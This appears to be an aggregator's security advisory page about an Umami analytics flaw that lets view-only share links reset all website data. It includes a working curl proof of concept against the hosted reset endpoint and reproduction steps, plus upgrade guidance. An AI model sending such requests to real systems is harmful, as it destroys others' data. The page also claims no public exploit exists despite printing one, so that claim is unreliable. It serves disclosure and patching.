# GHSA-8www-cffh-4q98: Anyone with a share link can RESET all website data in Umami

> Attackers with view-only share links can reset all website data due to incorrect authorization checks on the reset endpoint.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 28 Jul 2023

## What is GHSA-8www-cffh-4q98?

GHSA-8www-cffh-4q98 is a missing authorization vulnerability in umami, published on 28 Jul 2023. Any signed-in user can exploit it over the network, with no action from the victim.

### Official description

### Summary
Anyone with a share link (permissions to view) can reset the website data.

### Details
When a user navigates to a `/share/` URL, he receives a share token which is used for authentication. This token is later verified by `useAuth`. After the token is verified, the user can call most of the `GET` APIs that allow fetching stats about a website.

The `POST /reset` endpoint is secured using `canViewWebsite` which is the incorrect verification for such destructive action. This makes it possible to completly reset all website data ONLY with view permissions - [permalink](https://github.com/umami-software/umami/blob/7bfbe264852558a148c7741f8637ff2b266d48cd/pages/api/websites/%5Bid%5D/reset.ts#L22)

### PoC
```bash
curl -X POST 'https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset' \
  -H 'authority: analytics.umami.is' \
  -H 'accept: application/json' \
  -H 'accept-language: en-US,en;q=0.9' \
  -H 'authorization: Bearer undefined' \
  -H 'cache-control: no-cache' \
  -H 'content-type: application/json' \
  -H 'pragma: no-cache' \
  -H 'referer: https://analytics.umami.is/share/bw6MFhkwpwEXFsbd/test' \
  -H 'sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"' \
  -H 'sec-ch-ua-mobile: ?0' \
  -H 'sec-ch-ua-platform: "Linux"' \
  -H 'sec-fetch-dest: empty' \
  -H 'sec-fetch-mode: cors' \
  -H 'sec-fetch-site: same-origin' \
  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36' \
  -H 'x-umami-share-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJiODI1MDYxOC1jY2I1LTQ3ZmItODM1MC0zMWM5NjE2OWExOTgiLCJpYXQiOjE2OTAzNjkxOTl9.zTfwFrfggE5na7rOOgkUobEBm48AH_8WVyh2RgJGzcw' \
  --compressed
```

You can reproduce this by:
* Accessing a website using it's share link
* Copy the `token` received from the the received from the `GET /share/{website-id}`
* Send a POST request to `https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset` with `x-umami-share-token: ` header equal to the token copied in the previous step
* The website data is now cleared

### Impact
Everyone with an open share link exposed to the internet!

## Which versions are affected by GHSA-8www-cffh-4q98?

2 open source packages ship an affected version, including umami.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `umami` | npm | All versions | 2.3.1 |
| `umami` | npm | All versions | 2.3.1 |

## How do I fix GHSA-8www-cffh-4q98?

Upgrade umami to 2.3.1 or later.

## Is GHSA-8www-cffh-4q98 being exploited?

There is no known exploitation of GHSA-8www-cffh-4q98 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-8www-cffh-4q98 and fix it if it is affected.

What it is: GHSA-8www-cffh-4q98 is a missing authorization vulnerability in umami, published on 28 Jul 2023. Any signed-in user can exploit it over the network, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-8www-cffh-4q98 in the wild and no public exploit code.

Affected packages and fixed versions:
- umami (npm): affected all versions; fixed in 2.3.1
- umami (npm): affected all versions; fixed in 2.3.1

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-8www-cffh-4q98/ (Markdown: https://insights.sbomify.com/GHSA-8www-cffh-4q98/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-8www-cffh-4q98

---
From sbomify Insights: https://insights.sbomify.com/GHSA-8www-cffh-4q98/
Summaries are generated and may contain mistakes; the official description above is the record.
